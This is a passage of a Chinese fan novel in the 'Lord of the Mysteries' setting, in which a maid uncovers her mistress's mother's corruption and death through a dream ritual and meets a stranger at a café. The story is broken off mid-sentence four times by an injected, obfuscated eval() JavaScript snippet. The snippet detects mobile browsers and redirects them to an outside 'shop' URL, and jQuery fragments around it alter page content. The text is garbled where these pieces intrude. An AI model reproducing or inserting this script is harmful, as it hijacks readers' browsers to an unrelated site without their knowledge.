在她们离开前，罗丝长久地注视着玛莎。 “玛莎，等我下午醒来以后，我们可以说说话，我想……多了解你一些。” “她同意了？” 书房里，艾德里安看起来相当惊讶，但还是从抽屉里取出了两份合同。 “我去给您煮杯红茶吧。”看到他们要商量薪酬的问题，安妮主动离开了书房。 一周4苏勒，比安妮少1苏勒。 “如果你能在这里做到明年，我会给你加薪。”艾德里安说，“当然，前提是罗丝对你的工作也满意。” “我会尽力的，先生。” 明年？我们能不能都活到明年还两说呢。玛莎在心里吐槽。 等他们签好合同，安妮也端着茶回来了。 “来吧，玛莎，你需要换套衣服，然后我告诉你要做的事。”安妮对她说。 直到她们回到仆人房里，安妮才急切地问：“有看出什么吗？” 玛莎想了想：“柯林斯夫人的灵体看起来有些虚弱，她最近有生病或受伤吗？” 安妮露出了犹豫的神情。 “我不确定……但……有可能。” 她解释道：“二月初的时候，她和柯林斯先生吵架了——哦，就是夫妻之间的那种，本来不是什么大事，不过这次她特别生气，直接摔门出去了。” “柯林斯先生当时也在气头上，说别管她了。” “当时还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253372|197965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是白天，我们原本也没觉得这是多严重的事，但是，到宵禁的时间夫人都没回来，柯林斯先生和我们去找了警察。” “第二天早晨依然没找到人，之后柯林斯先生找了私家侦探，‘风暴’的牧师……”她掰着手指那些求助对象。 “直到第六天的时候，我们都快绝望了，可傍晚的时候，夫人自己回来了。” “她说她只是太生气了，去乡下的朋友家住了几天，现在已经平静下来了，不想再提这件事。” “她回来的时候，”安妮强调道，“身上并没有任何伤口，也没有生病的迹象。看起来真的就像只是去度了个假一样。” “但从那以后，她就变得不太对劲了？”玛莎问。 “当时……当时看上去还好。” “差不多一周后，她才开始变得奇怪：大部分时间没什么精神——就像你刚才看到的那样，有的时候又突然很亢奋，在房间里走来走去的，对着镜子或者随便什么东西说话。” “又过了一周后，艾米就生病了。” 是吗……那就无法确认和这次外出一定有关了，不过依然很可疑。 与此同时，她意识到另一个问题。 “——你没有和A先生说这件事。”玛莎盯着安妮的眼睛。 “我，我只是觉得A先生很忙，我不能占用他太多时间……”安妮慌忙解释道。 “而且……主知道一切，如果这真的很重要，祂会告诉A先生的吧。” 然而，这么说的时候，她回避了玛莎的目光，显然并不是真的相信这一点。 柯林斯夫妻都是风暴之主的信徒，她担心极光会可能不会真心帮助他们？玛莎猜测。 仅从她今天的经历来看，这家雇主似乎确实是不错的人，如果安妮不是那种最狂热的信徒，对他们产生好感也不奇怪。 “……或许吧，不过，我不像A先生那样随时能听到主的声音，如果还有这种事，一定要告诉我。”看到安妮愈发抗拒的态度，玛莎决定先不深究这个话题。 “我会的。”安妮立刻回答。 在玛莎换好柯林斯家提供的工作服后——厚实的黑棉裙配白色围裙，感觉比自己的新裙子还好些。 安妮看起来还有些紧张，不确定她是否真的应该让极光会派来的使者做这些家务活。 “我们一起做吧，我对擦擦洗洗的活还挺有心得的。”玛莎自嘲地笑了笑。 “嗯，好的。” 话题回到日常工作上，安妮明显松了口气。 “自从艾米离开以后，我一个人只来得及做那些最重要的工作。实际上，二楼的地毯上周就该洗了，还有窗帘……” 她们一整个下午都在对付这些纺织品，直到接近四点，安妮才停下手里的工作，去准备下午茶。 玛莎还在努力从一条床单里拧出更多水，就看见安妮端着一个精致的茶托走过来。托盘上放着一套瓷质茶具，还有几块点心。 “我去准备晚餐，你把这个送上去给夫人吧。”她小声说，“夫人现在很少愿意和人说话，但她刚才说想和你聊聊，也许这是个机会。” 5. 母亲 休息了一个下午后，罗丝看起来确实恢复了不少。 当玛莎端着茶托走卧室，窗帘拉开了，她坐在卧室窗前的高背椅上，手里拿着一本书，却没有翻页，只是注视着街道上的景象愣神。 “我正在想。今天会不会是你来送茶点呢。” 听到脚步声，她回过头，目光终于有了焦点。 “来，陪我坐一会儿吧，我们说过要聊聊的。” 看着玛莎在椅子边缘坐下后，罗丝放下了手中的书本，身体微微前倾。 “——玛莎，你和母亲感情很好吗？” 既然之前说了自己工作是为了给母亲寄钱，那这个问题的答案显而易见。 “是的，夫人。”她回答。 她努力从记忆里挖掘出一些属于原本的玛莎和她的母亲相处的片段。 “我的父亲去世的更早，所以在我的记忆里，最多的就是母亲和弟弟了。” “我记得在很小的时候，我们家里烧不起太多柴火，母亲会用体温温暖我们的手。” “在新年前，她会提前在每一餐攒下一点零碎，好在那一天给我们端上一碗丰富的热汤。” “……” 那些贫困，但还存在着微小快乐的时光。 ……只不过真实的玛莎母亲在自己来到这个世界前就死去了。 罗丝静静地听她说完这些，然后将一块柠檬蛋糕推向玛莎：“吃点东西吧，就这样让你看着我独享下午茶，我也会觉得不好意思的。” 玛莎犹豫了一下，还是接受这份了好意。 “谢谢您。” 她咬了一小口，其实味道和现代的糕点比起来依然不算好，但已经是她这些天吃过最美味的东西了。 把蛋糕咽下去后，她小心翼翼地问：“您也会经常和母亲通信吗？” 她怀疑这个问题的答案可能不会太好——安妮从来没见过她的母亲。 果然，罗丝的语气里带上了一丝伤感，但答案和她想的不太一样： “她已经回归母亲的怀抱了。” 回归什么？！ 玛莎差点没控制住自己露出惊恐的表情。 “——她是大地母神教会的修女。”罗丝接着说。 大地母神的……你说的最好真的是大地母神。玛莎稍微放松了一些，但心底依然保持着些许戒备。 在鲁恩，大地母神的修女并不常见。 “您是费内波特人？” ——她才意识到罗丝的脸部轮廓确实和大部分鲁恩人不太一样，肤色也稍深。 罗丝笑了笑：“血统上算是，我的母亲是费内波特人，但我从出生就在鲁恩了，迪西郡那边。” “她生育过六个孩子——在费内波特，教会的修女通常会生育许多孩子来表达对母神的崇敬。我是其中最小的一个。因为之后她就被派到鲁恩来传教了。这里的人似乎很难接受一位修女把生育当做职责，所以在生下我后，她就没有再孕育过生命了。” 罗丝的目光看向了更远处。 “也许是这样，我比其他孩子有更多和她相处的时间。” “我很爱她。” “你应该能理解那种感觉，玛莎。” 她当然能理解——不是伪装。罗丝的声音里带着一种遥远的温柔，和原主的记忆碎片重叠在一起，和自己也许无法再回到的书外的世界的担忧一起，让她感到了真实的苦涩和怀念。 ……不过，这有些奇怪，玛莎想，既然她对母亲有那么深的感情，难道不应该对大地母神有更多的好感吗？ “但我听安妮说，您和柯林斯先生都是风暴之主的信徒？” 罗丝的神情变得更阴郁。 “……是啊。” “因为，我已经没法再去信仰母亲了。” 罗丝一直记得那一天。 她从梦中惊醒——梦境的内容模糊不清，但她依稀觉得自己看到了母亲，而且那不是个好梦。 于是在醒来后，她迫不及待地想出去透透气，感受哪怕只是一点的自然，却在打开门时看到，有人已经站在那里了。 ——一位卷发精致，身形轻盈的女性，神情却意外凝重，衣领上是刻画着麦穗，鲜花和婴儿的圣徽。 罗丝隐约有一种不好的预感。 “罗丝——你是罗丝，茱莉亚的女儿吧？” 得到肯定的回答后，那位女性露出了一种极其复杂的神情。 “……唉，我想我用多少言辞来包装也改变不了事情的本质。我有一个非常坏的消息要告诉你。” “茱莉亚在教会的行动中牺牲了。” 罗丝突然抓紧了自己的领口，险些打翻了茶壶。 “就是这样。” “……我知道这没道理，母亲死了，总有人要来通知我，那位修女也只是履行职责而已，但那时的场景对我来说，就好像……母亲是被他们杀了一样。” 玛莎倒吸了口冷气。 “所以，从那以后，我就没再去过任意一座丰收教堂，每当看到那个婴儿圣徽，我就觉得……好像……又回到了那一天。” 她喝了一大口茶。 “在那段时间里，如果不是艾德里安一直陪着我，我想我一定撑不下去的” “婚后我登记了和他一样的信仰。也许我内心深处某个部分依然属于大地母神，但如果一定要在礼拜日去一个教堂，我宁可和艾德里安一起去感受一会儿海风的气息，而不是……一个人回到那里。” 是吗…… 即使知道这种悲剧在这个世界里并不罕见，可当一个人在自己面前，看着她因回忆痛苦扭曲的五官，颤抖的手指，如此详细的描绘，依然让玛莎感到了前所未有的沉重。 她觉得自己应该说一些安慰的话，但无论说什么在此刻似乎都显得苍白无力。 “——啊，这么说出来以后，感觉好多了。” 罗丝微笑着，似乎很理解她的担忧，因此选择自己吞下了这份苦涩。 ——不用为难，我只是在倾诉而已，不用给我答案。 “……我很抱歉，夫人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253373|197965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛莎低声说。 窗外的夕阳逐渐没入地平线，室内的色调从金黄变成了暗橙，玛莎开始收拾茶具。 “安妮应该已经准备好晚餐了，您要下去用餐吗？” 罗丝叹了口气。 “我还是没什么胃口，不过一直待在这里艾德里安又要担心了，那就下去随便吃点吧” 她走到梳妆台的镜前，从镜面里的景象看着玛莎。 “帮我把衣柜里白色的那件披肩拿来。” 安妮为柯林斯夫妇准备了精致的晚餐：羔羊炖豌豆，新鲜的白面包配上黄油和几种不同的果酱。 在把餐盘摆好后，她就拉着玛莎回到仆人房，那里放着更符合她们身份的餐食——燕麦粥，几块冷肉和奶酪。 “我们晚上最好再把楼梯扶手擦一下，第一天多做些事，会让主人对你的印象更好。” “……嗯，好的。” 玛莎机械地回应了一声，低着头迅速吃完了晚餐：一开始是沉浸在罗丝叙述的故事中的悲伤，然后是更现实的问题。 她知道了罗丝可能接触过异常，知道了她母亲的死可能对她有很大的影响，然后呢？ 如果她是官方非凡者，她可以去找警察要求当时的记录，可以去大地教会请求茱莉亚的信息，看有没有什么可疑之处。如果她是个私家侦探，至少也能去走访邻居、查问失踪当晚的消息。 但她只是一个杂活女仆，还加入了一个属于绝对禁忌的隐秘组织，没有任何盟友，甚至没有离开这栋房子的自由。 她和普通人唯一的区别就是那些用来祈求真实造物主的祭祀和仪式魔法知识。 只有祈求。 脑海里闪过这个念头时，她忽然感觉到自己的魔药似乎有所触动。 “只需向主祈求。” 她想起A先生的告诫。 ——所以说，没有更体面一点的消化魔药的方法吗？ 红月高升时，玛莎终于完成了一天的工作。 “安妮，我需要单独在房间里待一会儿，大概半个小时。” 安妮识趣地没有多问：“我会在外面守着的，万一柯林斯先生和夫人有什么需要。” 玛莎点点头，在确认房门锁好后，她从行李箱底取出真实造物主的雕像和所有仪式材料。 她准备举行一次梦启仪式——这和“占卜家”的梦境占卜有些相似，都是在梦境中获得启示和洞见，但本质却截然不同。占卜家是放纵自己的星灵体漫游灵界获得信息，而秘祈人则是祈求隐秘存在附身倾听自己，赐予答案。 从好的一面来说，梦启仪式上限更高，这种祈求甚至可以不要任何前置就能看到更多，因为这获得的是隐秘存在能看到的东西，远超一般非凡者，但也更不稳定，对方可以拒绝回应，也可以赐予完全无关，甚至是恶意误导的内容。 她构建好灵性之墙，这个仪式前半段和普通的祈祷一样：点燃蜡烛，诵念尊名，献上祭品，最后说出自己的那句请求。 “——我祈求您，赐予我在梦中看见。” 6. 围猎 再次睁开眼睛的时候——如果她还有可以成为眼睛的东西，玛莎发现自己变成了一滩阴影。 她花了片刻才弄清楚自己的处境：没有四肢，没有重量，只是存在着，细细地贴在地面上。 她试图抬头观察更高处，紧接着意识到自己也没有“头”，但是随着这个想法产生，更高处的景象确实反映进了她的脑海里：天上无星无月，只有几展路灯，散发出淡黄色的光芒。 她就是其中一盏路灯杆投下的影子。 她尝试移动，发现自己确实可以沿着地面滑行，悄无声息地转移到另一盏灯的投影里。 玛莎还没体验够这种新奇的视角，远处便传来了马车轮子碾过的声音。 马车停留在她附近的一栋房屋前。 一个女人走下了马车，她看起来相貌和罗丝有几分相似，但体格更强壮，皮肤颜色更深。 她大步地走向房门，近乎粗暴地拉响了门铃。 玛莎看到一个更年轻的罗丝打开了屋门，在看清来客的那一刻，脸上的警惕顿时转换成了惊喜。 “妈妈，你怎么突然——” “我们必须马上离开贝克兰德，罗丝，跟我走。” 罗丝愣了一下：“现在？可我什么都没准备。而且……我约了艾德里安明天见面。” “那你留下来吧，我走了。”女人打断了罗丝的话语。 她似乎真的很着急，没有任何多余的解释，就转身返回马车。 “……等等！” 马车刚动了一下，罗丝追了出来，气喘吁吁地撑住了车门。 “我们一起走。” 玛莎悄悄地把自己转移到车灯下的阴影里，观察着车厢内的景象：罗丝坐在母亲对面，神情已经从最初的惊喜变成了不安。 “妈妈。”她试探着问，“我们是得罪什么人了吗？” 女人没有回答。 在转过一个拐角后，马车突然停下，女人拉着罗丝跳下了车。 玛莎迅速把自己转移到了女人的影子里。 罗丝还没从落地的冲击中缓过来，女人已经走到街边，选择了一棵行道树，将手搭在树干上。 树木开始生长。 枝条以不自然的速度疯狂向外蔓延，叶片簇拥着展开，顷刻间就长到足以将罗丝的身形完全遮蔽。 罗丝震惊地看着这足以颠覆世界观的一幕。 “妈妈？” “留在这里，无论之后看到了什么，不要从这棵树后出来。” 几乎是在女人回到大路上的同时，一个轻盈地身影落在她面前，用短剑拨开了刚刚生长出来的荆棘。 “你想去哪里，茱莉亚？” 更多身影悄无声息地从黑暗里浮现，手里举着镰刀，锄头之类的农具。 在一座蒸汽朋克的城市里突然出现这么一群人还挺滑稽的——如果忽略他们胸前的大地圣徽。 “我要去母亲要求我去的地方。”茱莉亚平静地回答。 轻盈的女性笑了一声，眼里却没有任何笑意。 “母亲希望你在迪西传教，而你——” “会这么认为，是因为你们没有真正理解祂的旨意。” 于是双方都知道，他们没什么可说的了。 地上的荆棘再次疯长起来，试图分开眼前越来越多的敌人。 一位持镰刀的修士一刀斩断了他面前的植物，切口处立即喷出了大量脓水，浓郁得近乎令人作呕的香气弥漫开来，地面被腐蚀出一道深深的痕迹。 这不是正常植物会有的东西。 但这些教会成员看起来并不意外，他们熟练地躲开了那些腐蚀性的液体，继续收割：锄头刨出根茎，镰刀收割藤条，铁锹将它们彻底碾碎。动作利落而精准，像在进行一场早已演练过无数遍的丰收仪式。 茱莉亚确实很强，即使对面是数倍于她的非凡者，很长的一段时间里，她依然占据着上风。 但随着时间推移，她的灵力开始枯竭，那些邪异植物的生长速度明显慢了下来。 她几次伸手想从斗篷里取出某种药剂服下，却被那位轻盈的女性精准地打断。 包围圈越缩越小。 茱莉亚的身边响起了微弱的婴儿哭声，更多植物开始枯萎、崩解，化作恶臭的腐肉。她的力量不断衰退，呼吸变得急促，眼神更加疯狂。 最后，短剑停留在距离茱莉亚的喉咙不到一寸的地方。 也是在这时，她眼里的猩红突然消退了，神情变得茫然而空洞，像是刚从一场漫长的梦中醒来。 当她的目光再次聚焦时，她看到了满地腐烂的植物，满脸警惕的同僚，和那柄抵在自己喉咙上的剑锋。 “……这样啊。”她明白了。 “我已经背离了大地，对吧？” 即使是在战斗中也带着笑容的女性第一次露出了近乎遗憾的神情。 “是啊。” 沉默。 玛莎注意到其他成员的神色也各有变化，但没有一个放松了手上的武器。 “勇敢一点吧，茱莉亚。” 轻盈女性的声音变得更柔和。 “虽然这具身体会被损毁，但你的灵魂依然可以在母亲的怀抱里得到新生。” 茱莉亚的眼里一瞬闪过许多复杂的情绪：恐惧，愤怒，绝望，不甘。 但最后，她还是闭上眼睛，接受了这个结局。 “……赞美大地，万物的母亲。” 短剑无声地贯穿了她的胸口。 在茱莉亚倒下的同时，树丛里传来了一声近乎呜咽的尖叫，然后是某种重物落地的声音。 轻盈的女性一下警惕起来，向树丛的方向打了个手势。 众人慢慢地靠近，拨开枝杈，借着远处的灯光查看倒在地上的身影。 一位男性队员不确定地说：“我好像在资料上看到过她，她是不是……茱莉亚的女儿？” 轻盈的女性似乎用费内波特语骂了一句什么，这是玛莎从她的表情和动作里推断的——声音并没有传到自己的耳朵里，取而代之的是狂乱的呓语，来自真实造物主的呓语。 她看到了无数扭曲的符号和难以名状的景象，破碎的画面像潮水一样就要将她淹没，她想逃离，但来自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253374|197965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序列顶端的影响根本不是她能反抗的。 “咳，咳……” 玛莎是在剧烈的头疼中醒来的，里面和外面都是。额角是由外传来尖锐的疼痛，运气很好：在挣扎中，她撞翻了桌子，蜡烛倒在地上熄灭了，强行中断了仪式。 脑内则是呓语的残留回荡，灵性完全被抽干，口腔里也弥漫着淡淡地血腥味，似乎是内脏都受到了冲击。不过好在它们还乖乖地都待在身体里，没有蔷薇主教的能力，她可没法把吐出来的再吃回去。 和身体的痛苦形成鲜明对比的是精神上极度的亢奋。 当隐秘伴随着剧痛被揭开，她的灵魂仿佛完成了某种本能的渴求。 这就是秘祈人的扮演核心吗？ 不是“获取”，而是“献出”，不在于你获取了多少隐秘，而是为了获取隐秘，你能献出多少去祈求。 在产生这个理解后，魔药第一次有了消化的感觉。 休息了一会儿后，玛莎终于有力气起身收拾这一地的狼藉。 “……赞美主。” 虽然仪式已经结束了，但在拾起雕像时，她还是适时补上了这句感谢——这次是真心的，虽然过程很痛苦，但祂确实给了自己在别处付出同样代价也得不到的信息。 解开灵性之墙后，她迫不及待地推开门，想分享这份兴奋。 “我知道了，安妮——” 听到身后的脚步声，安妮转过身看着她，欲言又止。 顺着安妮的目光，玛莎下抬手摸了摸脸，指尖传来一种粘稠的质感。 她这才意识到自己脸上全是血污，看起来一定很吓人。 “……抱歉，我去处理一下。” 冷水泼在脸上，玛莎终于镇静了下来。 结合自己的非凡知识，她大概能推测出整个事件的经过：罗丝的母亲茱莉亚被污染后从迪西逃到了贝克兰德——也许是出于原人格的本能，也许是被污染后想传播自己的新信仰，她找上了罗丝。然后发生了自己在梦境中看到了那一幕。 罗丝的这份记忆应该通过某种方式被大地教会抹除了——考虑到那位轻盈的女性很像是偷盗者途径的“神眷者”，大概是“窃取”，但潜意识里那份对教会的恐惧和怨恨依然保留了下来。 如此详尽地展现茱莉亚异化的画面，真实造物主的意思是罗丝的问题根源也和堕落母神有关？ 玛莎皱起眉头。可罗丝是在母亲死后才和艾德里安结婚的，那么这件事至少发生在五年前。 如果当时就种下了“种子”，为什么现在才出现异常？ 因为一个月前的那次外出，让种子遇到了“发芽”的条件？ 思考让头疼得更厉害了，玛莎不得不停止探究，扶着洗手台深呼吸了几次，决定今晚先回去休息。 回到仆人房后，玛莎没有再试图和安妮分享这件事，她想起了知识可能带来的污染。 躺在床上，胃部依然有一种挥之不去的恶心感。 如果这次的行动的目标真是母神信徒，希望会有治疗药剂之类的战利品，她迷迷糊糊地想，这途径是真强，就是有点废人。 7. 命运 天边刚泛起亮光，安妮就把玛莎摇醒了：她们得在艾德里安去上班前准备早餐，烫好衬衫和外套。 “……好。” 玛莎强打起精神走进了盥洗室，镜中的自己脸色依然有些苍白，好在额头上的伤口已经结痂了，有头发的遮挡不算显眼。 她可不想被送去医院，或者更糟，被送去教会。 早餐时，艾德里安只吃了几口面包，喝完一杯咖啡后就准备出门，看起来情绪不是很高。 在搭上门把手时，他忽然想起了什么，有些无奈地对她们说：“对了，你们可以迟一些再给罗丝送餐。” “她昨晚又折腾到凌晨，快把整个卧室翻过来了，也不知道在找什么。” 如他所说，接近9点，玛莎敲门时才得了到回应。 “你看起来脸色不太好，玛莎。” 罗丝靠在床头，看着玛莎端着餐盘在走近。 “是因为我昨天和你说的那些话吗？” 是……也不是，主要原因还是我们老板那美丽的精神状态。 “不，不是的。”玛莎把餐盘递给她后回答。 “只是我还不太适应这里的。” 她们间沉默了一会儿，房间里只有罗丝刀叉碰撞瓷盘的轻响。 “艾德里安去上班了吗？” “是的，安妮送他出去的。” 罗丝嗯了一声。 她放下刀叉，注视了玛莎一会儿，像是在审视什么。 “玛莎，我可以相信你吗？” “夫人？” 罗丝压低了声音：“我觉得，这里的所有人都在骗我。” 啊？ 认真的吗？ 如果她被污染了，产生一些偏执的念头是常见的症状……但被污染的人会坦诚自己的猜疑吗？ 还是说，这是试探？ 玛莎不敢打开灵视——罗丝很可能有问题，而自己还未从昨晚呓语的冲击中恢复过来，万一再来一次直视母神，当场暴毙已经是最好的结果了。 “您为什么会这么想呢？”她谨慎地问。 罗丝神经质地笑了一声：“你觉得我疯了？” “我当然有我的理由。” “——玛莎，你对艾德里安怎么看？” 玛莎回想起这些天见到的柯林斯先生，礼貌，疏离，对仆人不亲近但也不苛责，像一个标准的中产体面人。 “我觉得……他挺好的？”思考着自己的身份定位，玛莎斟酌着话语。 “他给我的工钱很公平，说话的态度也温和，所以……” “他有情人。” “什么？！” 玛莎是真的被震惊到了。 罗丝苦笑：“你看，没有人会相信我说的。” “不，我并不怀疑您，我只是觉得有点难以置信，呃，我的意思是——” “但没关系，我可以让你看到证据。” 啊？？ “昨天晚上，我在他的公文包里看到那个女人又留字条给他了：‘我们必须再谈一次，明天下午4点在奥尔德咖啡馆见。’” “你可以在下午离开这里，玛莎，我允许了。” 罗丝眼里闪烁一丝狂热的光，像是拼命想证明自己所见的真实。 “我也曾经怀疑过：艾德里安曾经在我最艰难的时候陪着我，他那么爱我，怎么可能——” “但果然还是没法欺骗自己。” “——玛莎，如果你也看到了我说的，你会站在我这边吧？” 玛莎端着空餐盘离开了卧室。 事情似乎变得更麻烦了，难道艾德里安也有问题？毕竟罗丝是和艾德里安争吵后消失的，如果艾德里安只是假装在找她，实际上很清楚她身上发生了什么……？ 好复杂…… 要是能再举行一次仪式问问真实造物主就好了。玛莎在心底感叹，对于脑子本来就不是很好用的人来说，融入这条途径太丝滑了。 不过最后她还是为自己的生命安全考虑，只选择了一个折中的方案，把一切交给命运。 ——她回到仆人房里，点起三根蜡烛，向命运天使乌洛琉斯祈祷。 在秘祈人魔药的作用下，她现在已经很熟悉这套流程了。 这次祈祷后，她没有说出自己的请求，而是交给对方自由发挥。 她觉得既然自己是在完成真实造物主的任务，命运应该会指引祂给自己一些好东西吧？ 她等了很久，久到她都开始怀疑对方是不是不想回应自己，或者自由发挥对祂来说是一件需要思考非常长时间的事情，她忽然感到自己身上似乎发生了一点微妙的变化，像是某种无形的丝线被轻微拨动了一下。 烛火依然安静。 “感谢您。”玛莎不自觉地也放轻了声音，然后熄灭蜡烛，结束仪式。 奥尔德咖啡馆。 玛莎将装着零钱的餐篮交给服务生：“两条白面包，一块柠檬蛋糕，一罐高原咖啡粉。” 服务生点点头，转身进了后厨，留下玛莎一个人在柜台旁等候。 这就给了她观察店内的机会。 在成为非凡者后，她的感知变得更加敏锐，只要集中精力就可以听到那些原本只会淹没在嘈杂环境中的低语。 她的目光很快在人群中找到了艾德里安：坐在咖啡馆的角落，对面是一位有着栗色长发的女士，穿着简洁得体，只有手腕上的黄金饰品相当显眼。 玛莎转过身，假装在看橱窗里的其它糕点， “……所以，我怀疑那些人也跟着我们来到了贝克兰德。”那位女性的语气里透露着焦虑。 “那是你的问题。”艾德里安冷冷地回答。 “我——是的，但如果您愿意帮忙——” “我已经拒绝过你了。” 他们之间沉默了片刻。 “罗丝夫人还好吗？她回来以后没什么不同寻常的状况吧？”最后，那位女士转移了话题。 “没有。”艾德里安站了起来。 “并且，我希望这是我们最后一次见面。” “你给我带来的麻烦已经够多的了” 听起来不太像是情人之间的对话啊……又或者中间出了什么事闹翻了？ 艾德里安似乎一刻都不想在这里多待，直接推门出去了，甚至没注意到柜台旁熟悉的身影。 服务生将装好的餐篮还给玛莎。 离开前，她的目光和栗发的女士有片刻的交汇。 出乎意料地，那位女士竟然直接向她走来了。 “你的命运看上去不是很协调。” 栗发女士的表情恢复了平静，尽管语调里依然带着细微的颤抖。 嗯？很敏锐嘛？ “是好事还是坏事？”玛莎问。 “你不怀疑我的说法？”栗发的女士反问，“果然，你也是非凡者。” 她停顿了一下，露出了纠结的神情：“这很难用好坏来概括。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253375|197965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “如果一定要用一个词来形容，我可能会选择“偏移”，不是好运也不是厄运，但这种偏移对我们这个途径的人来说很明显，非常明显。” “也许这就是命运给我的提示……”她用几乎只有自己能听到的声音感叹道。 “——您愿意和我去一个更安静的地方详细讨论这件事吗？” 废弃的钟楼上，远离人群的喧嚣，栗发的女士深吸了一口气：“我叫乔安娜，来自拜朗。” “我来这里是为了取得柯林斯家的一件神秘学收藏。” 下定决心后，她的语言直白而坦诚。 “我曾经多次拜访柯林斯先生，想像普通人那样收购那件物品，但他拒绝了。”乔安娜苦笑了一声，“他不是非凡者，那件物品又正处于封印状态，他完全不理解那件物品真正的价值和危险。只把它当作祖传古董，无论我开出多高的价格都不肯出售。” “我原本想着再换一个说法，多试几次，也许等到我运气足够好的时候就能成交了。” 她的语气变得低沉：“但我没时间了。” “我加入的组织里，长期存在着一批和我们理念不同的非凡者。过去，有一位更强大的非凡者管理我们，维持平衡。但现在……情况出了点问题。” 她摩挲着黄金手链。 “我担心现在他们已经跟踪我的痕迹，来到了贝克兰德。” “我担心他们可能会无视我们的意愿，采取更激进的手段来达成目的。如果罗丝夫人因为我的原因才遭遇了先前的危险，我真不知道该如何弥补了。” “既然你觉得这件事已经超出了你的控制，为什么不通知官方非凡者？”玛莎问。 “因为，我还需要那件藏品。议长——”乔安娜忽然顿住，意识到这是无论如何都不该说出的秘密。 “因为我担心如果让官方非凡者介入，他们会带走那件收藏品，而我隶属的那个组织还需要它。”她改口道。 议长……命运和分歧……“生命学派”？ 威尔.昂赛汀要她去拿那件物品？ 玛莎在心里计算着时间线：考虑到现在已经是四月初，也许那条水银之蛇已经在贝克兰德，而且离被乌洛琉斯追杀到重启不远了，确实很可能需要非凡物品作为补充。 呃…… 虽然她现在是极光会的人，但不管从主观感情，还是维护剧情在自己认知范围内的客观需要，她都不想威尔被吃掉。 她不知道在没有自己干预的时间线里，威尔最后有没有拿到这件藏品，但显然帮他取得造成剧情崩坏的概率远小于不帮。 这样看的话，也许让乔安娜完成她的任务是最好的选择。 唯一的问题是，她是在向乌洛琉斯的祈祷后才得到的这个藏品的信息，然后选择帮助威尔……这样真的不会被被拿走所有的运气吗？ ……不对，她不应该知道这些的，不是吗？ 玛莎忽然意识到：作为一个普通的序列9，她根本不可能仅从一句“议长”推断出她所隶属的组织，所谓的“议长”是谁，更不可能推测出这位议长和乌洛琉斯之间存在不可调和的冲突。 这根本不合理。 摆在“玛莎”面前的只有一个真实造物主的任务，一个不知道是否可靠，但确实掌握了某些信息的非凡者。 “玛莎”只会考虑放弃获取那个不知道存在于何处的非凡物品，换取她的帮助和信息共享是否值得。 这不是一个太难的问题。 8. 怀疑 “那你最好尽快行动。” 玛莎缓缓开口。 “罗丝很可能已经被污染了。” “她很早就接触过非凡力量。” 玛莎将真实造物主赐予的那个梦境改编成了自己从罗丝话语里推断出的她的过去。 “她的母亲可能是因为污染被大地教会清除，她当时也被清除了记忆，但现在那些碎片的感情和记忆正在浮上来。” “艾德里安在说谎，罗丝从那次失踪回来以后就变得奇怪了：有时候无精打采，有时候又亢奋异常。” “上周，他们家的一位女仆因为身体越来越虚弱离开了，医生找不出病因。” 随着玛莎每说出一条信息，乔安娜的脸色就难看一分。 “如果是这样的话，恐怕她已经和那些原始月亮的信徒产生了联系。” “是我的错，如果不是我一心只想拿到藏品——” “现在说这些也没有意义了，重点是之后要怎么做？”玛莎打断了她的自怨。 乔安娜沉默了片刻。 “‘原始月亮’的污染很难被彻底清除，祂的影响就像有生命一样会不断重新生长，这也是大地教会对于失控的成员往往会选择直接清除或封印的原因。” “但是，我们的议长有他的方法，既然这件事因我而起，也许他会帮忙解决。” 是吗……说实话，玛莎不抱太大的希望，虽然威尔确实有“混乱与疯狂的看守”尊名，但他现在都自身难保了，即使为了消除生命学派造成的伤害，强行分出一部分力量进行一次净化，罗丝最好的结果也依然是一个他移开目光一瞬就可能失控的存在。 但她也没法拒绝乔安娜。拒绝意味着罗丝只剩下一个结局了，即使不知道这些天和自己交流的柯林斯夫人还有多少是“罗丝”，但面对面的交流过后，了解了她的过去和现在，她还是很难想象在之后会看着，甚至亲手去完成那件事。 “你们的议长需要多长的时间？” 